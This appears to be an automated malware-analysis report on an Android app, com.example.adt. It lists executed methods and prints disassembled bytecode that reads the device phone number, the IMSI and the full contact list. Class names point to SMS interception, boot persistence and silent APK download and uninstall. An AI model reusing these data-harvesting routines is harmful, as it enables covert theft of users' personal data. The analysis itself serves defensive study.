|---|
| Method: com.example.adt.App.getApps:79 | Show source |
|---|
| Method: com.example.adt.App.getApps:86 | Show source |
|---|
| Method: com.example.adt.App.getApps:91 | Show source |
|---|
| Method: com.example.adt.App.getApps:126 | Show source |
|---|
| Method: com.example.adt.App.getApps:132 | Show source |
|---|
| Method: com.example.adt.App.getApps:157 | Show source |
|---|
| Method: com.example.adt.App.getApps:163 | Show source |
|---|
| Method: ..:15 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:34 | Show source |
|---|
| Method: com.example.adt.App.hasApp:48 | Show source |
|---|
| Method: com.example.adt.App.hasApp:53 | Show source |
|---|
| Method: com.example.adt.App.hasApp:60 | Show source |
|---|
| Method: com.example.adt.App.hasApp:65 | Show source |
|---|
| Method: com.example.adt.Config.configPath:16 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:10 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:26 | Show source |
|---|
| Method: com.example.adt.SMS$2$1.run:19 | Show source |
|---|
| Method: com.example.adt.SMS$2$1.run:24 | Show source |
|---|
| Method: com.example.adt.SMS$2$1.run:34 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:81 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:113 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:146 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:75 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:100 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:18 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:14 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:71 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:116 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:212 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:289 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:311 | Show source |
|---|
| Method: ..:19 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:60 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:73 | Show source |
|---|
| Method: com.example.adt.App.changeApk:13 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:70 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:89 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:60 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:76 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:60 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:73 | Show source |
|---|
| Method: com.example.adt.FileUtils.<init>:20 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:69 | Show source |
|---|
| Method: ..:15 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:26 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:43 | Show source |
|---|
| Method: com.example.adt.CoreService$MyRunnable.run:23 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:70 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:89 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:50 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:77 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:104 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:20 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:53 | Show source |
|---|
| Method: ..:15 | Show source |
|---|
| Method: com.example.adt.App$1.run:79 | Show source |
|---|
| Method: com.example.adt.App$1.run:92 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:14 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:42 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:73 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:118 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:59 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:72 | Show source |
|---|
| Method: ..:20 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:44 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:70 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:90 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:137 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:321 | Show source |
|---|
| Method: com.example.adt.App.getApps:94 | Show source |
|---|
| Method: com.example.adt.App.getApps:135 | Show source |
|---|
| Method: com.example.adt.App.getApps:166 | Show source |
|---|
| Method: ..:18 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:37 | Show source |
|---|
| Method: com.example.adt.App.hasApp:68 | Show source |
|---|
| Method: com.example.adt.Config.configPath:19 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:13 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:29 | Show source |
|---|
| Method: com.example.adt.SMS$2$1.run:37 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:10 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:33 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:188 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:200 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:218 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:228 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:16 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:91 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:123 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:149 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:169 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:196 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:226 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:245 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:272 | Show source |
|---|
| Method: com.example.adt.App.changeApk:20 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:87 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:9 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:18 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:35 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:60 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:80 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:114 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:122 | Show source |
|---|
| Method: com.example.adt.Config.getSDPath:8 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:22 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:129 | Show source |
|---|
| Method: com.example.adt.App.getApps:24 | Show source |
|---|
| Method: com.example.adt.App.getApps:38 | Show source |
|---|
| Method: com.example.adt.App.getApps:112 | Show source |
|---|
| Method: com.example.adt.App.getApps:143 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:51 | Show source |
|---|
| Method: com.example.adt.Config.isServiceRunning:37 | Show source |
|---|
| Method: com.example.adt.App.hasApp:75 | Show source |
|---|
| Method: com.example.adt.Common.str_replace:7 | Show source |
|---|
| Method: com.example.adt.Common.str_replace:14 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:39 | Show source |
|---|
| Method: com.example.adt.App.changeApk:29 | Show source |
|---|
| Method: com.example.adt.SMS.send:8 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:56 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:86 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:265 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:9 | Show source |
|---|
| Method: com.example.adt.Config.getIMSI:12 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:9 | Show source |
|---|
| Method: com.example.adt.Config.getPhoneNumber:12 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:56 | Show source |
|---|
| Method: com.example.adt.App$1.run:35 | Show source |
|---|
| Method: com.example.adt.App$1.run:54 | Show source |
|---|
| Method: com.example.adt.App$1.run:70 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:23 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:71 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:103 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:136 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:9 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:29 | Show source |
|---|
| Method: ..:11 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:22 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:12 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:47 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:55 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:22 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:39 | Show source |
|---|
| Method: ..:7 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:16 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:33 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:26 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:10 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:40 | Show source |
|---|
| Method: ..:7 | Show source |
|---|
| Method: com.example.adt.App$1.run:12 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:34 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:63 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:108 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:17 | Show source |
|---|
| Method: ..:12 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:65 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:85 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:132 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:181 | Show source |
|---|
| Method: com.example.adt.App.getApps:64 | Show source |
|---|
| Method: com.example.adt.App.getApps:119 | Show source |
|---|
| Method: com.example.adt.App.getApps:150 | Show source |
|---|
| Method: ..:10 | Show source |
|---|
| Method: com.example.adt.App.hasApp:38 | Show source |
|---|
| Method: com.example.adt.Config.configPath:9 | Show source |
|---|
| Method: com.example.adt.SMS$2$1.run:12 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:109 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:117 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:97 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:35 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:14 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:120 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:128 | Show source |
|---|
| Method: ..:12 | Show source |
|---|
| Method: ..:21 | Show source |
|---|
| Method: ..:8 | Show source |
|---|
| Method: ..:11 | Show source |
|---|
| Method: ..:6 | Show source |
|---|
| Method: com.example.adt.SMS.send:16 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:79 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:335 | Show source |
|---|
| Method: ..:12 | Show source |
|---|
| Method: ..:3 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:13 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:3 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:111 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:119 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:99 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:37 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:16 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:122 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:130 | Show source |
|---|
| Method: ..:14 | Show source |
|---|
| Method: ..:23 | Show source |
|---|
| Method: ..:10 | Show source |
|---|
| Method: ..:13 | Show source |
|---|
| Method: ..:8 | Show source |
|---|
| Method: com.example.adt.SMS.send:18 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:81 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:337 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:15 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:73 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:33 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:87 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:18 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:20 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:22 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:65 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.getInputStreamFromURL:17 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:17 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:76 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:111 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.getInputStreamFromURL:22 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:9 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:6 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:59 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.getInputStreamFromURL:6 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.net.URL |
|
| Method: com.example.adt.Connect.getHttpConnection:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.net.URL |
|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:27 | Show source |
|---|
| Method: com.example.adt.App.changeApk:24 | Show source |
|---|
| Method: com.example.adt.SMS.send:3 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:59 | Show source |
|---|
| Method: com.example.adt.App$1.run:73 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:119 | Show source |
|---|
| Method: com.example.adt.App.getApps:30 | Show source |
|---|
| Method: com.example.adt.App.getApps:44 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| Method: com.example.adt.Contact$1.run:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| Method: com.example.adt.Contact$1.run:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| Method: com.example.adt.HttpDownloader.download:14 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:8 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:61 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.getInputStreamFromURL:11 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:13 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | libcore.net.http.HttpURLConnectionImpl |
|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:3 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:4 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:126 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:6 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:7 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:129 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:18 | Show source |
|---|
| Method: com.example.adt.App.getApps:16 | Show source |
|---|
| Method: com.example.adt.App.hasApp:18 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:24 | Show source |
|---|
| Method: com.example.adt.App.getApps:49 | Show source |
|---|
| Method: com.example.adt.App.hasApp:23 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:19 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:26 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:33 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:15 | Show source |
|---|
| Method: com.example.adt.App.getApps:13 | Show source |
|---|
| Method: com.example.adt.App.hasApp:15 | Show source |
|---|
| Method: com.example.adt.Config.isServiceRunning:15 | Show source |
|---|
| Method: com.example.adt.Config.isServiceRunning:22 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:17 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:24 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:31 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:96 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:99 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:103 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:130 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:135 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:142 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:155 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:175 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:189 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:262 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:283 | Show source |
|---|
| 9 Executed Methods |
|---|
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "httpUrl" | |
| 1 | .prologue | |
| 3 | const-string v4, "" | |
| 5 | const-string v5, "" | |
| 6 | const/4 v6, 0x0 | |
| 7 | try_start_5: new-instance v7, Ljava/net/URL; | |
| 9 | invoke-direct {v7, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V |
|
| 10 | try_end_a: move-object v6, v7 | |
| 11 | goto_b: if-eqz v6, :cond_61 | |
| 12 | try_start_d: | |
| 13 | invoke-virtual {v6}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; |
|
| 14 | move-result-object v8 | |
| 15 | check-cast v8, Ljava/net/HttpURLConnection; | |
| 16 | new-instance v2, Ljava/io/InputStreamReader; | |
| 18 | invoke-virtual {v8}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
| 19 | move-result-object v9 | |
| 21 | invoke-direct {v2, v9}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V | |
| 22 | new-instance v0, Ljava/io/BufferedReader; | |
| 24 | invoke-direct {v0, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V | |
| 25 | const/4 v3, 0x0 | |
| 26 | goto_22: | |
| 27 | invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String; | |
| 28 | move-result-object v3 | |
| 29 | if-nez v3, :cond_3b | |
| 31 | invoke-virtual {v2}, Ljava/io/InputStreamReader;->close()V | |
| 33 | invoke-virtual {v8}, Ljava/net/HttpURLConnection;->disconnect()V | |
| 34 | try_end_2e: if-eqz v5, :cond_31 | |
| 35 | move-object v4, v5 | |
| 36 | goto_31: return-object v4 | |
| 37 | catch_32: move-exception v1 | |
| 39 | const-string v9, "Conncet" | |
| 41 | const-string v10, "MalformedURLException" | |
| 43 | invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
| 44 | goto/16 :goto_b | |
| 45 | cond_3b: new-instance v9, Ljava/lang/StringBuilder; | |
| 47 | invoke-static {v5}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 48 | move-result-object v10 | |
| 50 | invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 52 | invoke-virtual {v9, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 53 | move-result-object v9 | |
| 55 | const-string v10, "\n" | |
| 57 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 58 | move-result-object v9 | |
| 60 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 61 | try_end_51: move-result-object v5 | |
| 62 | goto/16 :goto_22 | |
| 63 | catch_53: move-exception v1 | |
| 65 | sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 67 | invoke-virtual {v9, v1}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V | |
| 69 | const-string v9, "Conncet" | |
| 71 | const-string v10, "IOException" | |
| 73 | invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
| 74 | goto/16 :goto_31 | |
| 75 | cond_61: | |
| 76 | const-string v9, "Conncet" | |
| 78 | const-string v10, "Url NULL" | |
| 80 | invoke-static {v9, v10}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
| 81 | goto/16 :goto_31 |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .prologue | |
| 2 | try_start_0: | |
| 3 | const-string v1, "phone" | |
| 5 | invoke-virtual {p0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 6 | move-result-object v0 | |
| 7 | check-cast v0, Landroid/telephony/TelephonyManager; | |
| 9 | invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String; |
|
| 10 | move-result-object v1 | |
| 12 | invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 13 | try_end_f: move-result-object v1 | |
| 14 | goto_10: return-object v1 | |
| 15 | catch_11: move-exception v1 | |
| 17 | const-string v1, "" | |
| 18 | goto/16 :goto_10 |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .prologue | |
| 2 | try_start_0: | |
| 3 | const-string v2, "phone" | |
| 5 | invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
| 6 | move-result-object v1 | |
| 7 | check-cast v1, Landroid/telephony/TelephonyManager; | |
| 9 | invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String; |
|
| 10 | move-result-object v0 | |
| 12 | invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 13 | try_end_f: move-result-object v2 | |
| 14 | goto_10: return-object v2 | |
| 15 | catch_11: move-exception v2 | |
| 17 | const-string v2, "" | |
| 18 | goto/16 :goto_10 |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v3, 0x0 | |
| 3 | const-string v1, "" | |
| 4 | iput-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
| 6 | iget-object v1, p0, Lcom/example/adt/Contact;->mContext:Lcom/example/adt/CoreService; | |
| 8 | invoke-virtual {v1}, Lcom/example/adt/CoreService;->getContentResolver()Landroid/content/ContentResolver; | |
| 9 | move-result-object v0 | |
| 11 | sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri; | |
| 13 | sget-object v2, Lcom/example/adt/Contact;->PHONES_PROJECTION:[Ljava/lang/String; | |
| 14 | move-object v4, v3 | |
| 15 | move-object v5, v3 | |
| 17 | invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; |
|
| 18 | move-result-object v7 | |
| 19 | if-eqz v7, :cond_26 | |
| 21 | invoke-interface {v7}, Landroid/database/Cursor;->getCount()I | |
| 22 | move-result v1 | |
| 23 | if-lez v1, :cond_26 | |
| 24 | goto_1d: | |
| 25 | invoke-interface {v7}, Landroid/database/Cursor;->moveToNext()Z | |
| 26 | move-result v1 | |
| 27 | if-nez v1, :cond_34 | |
| 29 | invoke-interface {v7}, Landroid/database/Cursor;->close()V | |
| 30 | cond_26: new-instance v1, Ljava/lang/Thread; | |
| 31 | new-instance v2, Lcom/example/adt/Contact$1; | |
| 33 | invoke-direct {v2, p0}, Lcom/example/adt/Contact$1;-><init>(Lcom/example/adt/Contact;)V | |
| 35 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 37 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
| 38 | return-void | |
| 39 | cond_34: const/4 v1, 0x1 | |
| 41 | invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
| 42 | move-result-object v8 | |
| 44 | invoke-static {v8}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
| 45 | move-result v1 | |
| 46 | if-nez v1, :cond_1d | |
| 47 | const/4 v1, 0x0 | |
| 49 | invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
| 50 | move-result-object v6 | |
| 52 | iget-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
| 53 | new-instance v2, Ljava/lang/StringBuilder; | |
| 55 | invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 56 | move-result-object v1 | |
| 58 | invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 60 | const-string v1, "|" | |
| 62 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 63 | move-result-object v1 | |
| 65 | invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 66 | move-result-object v1 | |
| 68 | const-string v2, "#" | |
| 70 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 71 | move-result-object v1 | |
| 73 | invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 74 | move-result-object v1 | |
| 76 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 77 | move-result-object v1 | |
| 78 | iput-object v1, p0, Lcom/example/adt/Contact;->data:Ljava/lang/String; | |
| 79 | goto/16 :goto_1d |
| APIs |
|
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .annotation build Landroid/annotation/SuppressLint; | |
| 1 | value = { | |
| 2 | "NewApi" | |
| 3 | } | |
| 4 | .end annotation | |
| 5 | .prologue | |
| 7 | invoke-super {p0}, Landroid/app/Service;->onCreate()V | |
| 8 | sput-object p0, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 9 | new-instance v1, Ljava/lang/Thread; | |
| 10 | new-instance v2, Lcom/example/adt/CoreService$1; | |
| 12 | invoke-direct {v2, p0}, Lcom/example/adt/CoreService$1;-><init>(Lcom/example/adt/CoreService;)V | |
| 14 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
| 16 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
| 17 | sget v1, Landroid/os/Build$VERSION;->SDK_INT:I | |
| 18 | const/16 v2, 0xb | |
| 19 | if-lt v1, v2, :cond_50 | |
| 20 | new-instance v1, Landroid/os/StrictMode$ThreadPolicy$Builder; | |
| 22 | invoke-direct {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>()V | |
| 24 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectDiskReads()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
| 25 | move-result-object v1 | |
| 27 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectDiskWrites()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
| 28 | move-result-object v1 | |
| 30 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->detectNetwork()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
| 31 | move-result-object v1 | |
| 33 | invoke-virtual {v1}, Landroid/os/StrictMode$ThreadPolicy$Builder;->penaltyLog()Landroid/os/StrictMode$ThreadPolicy$Builder; | |
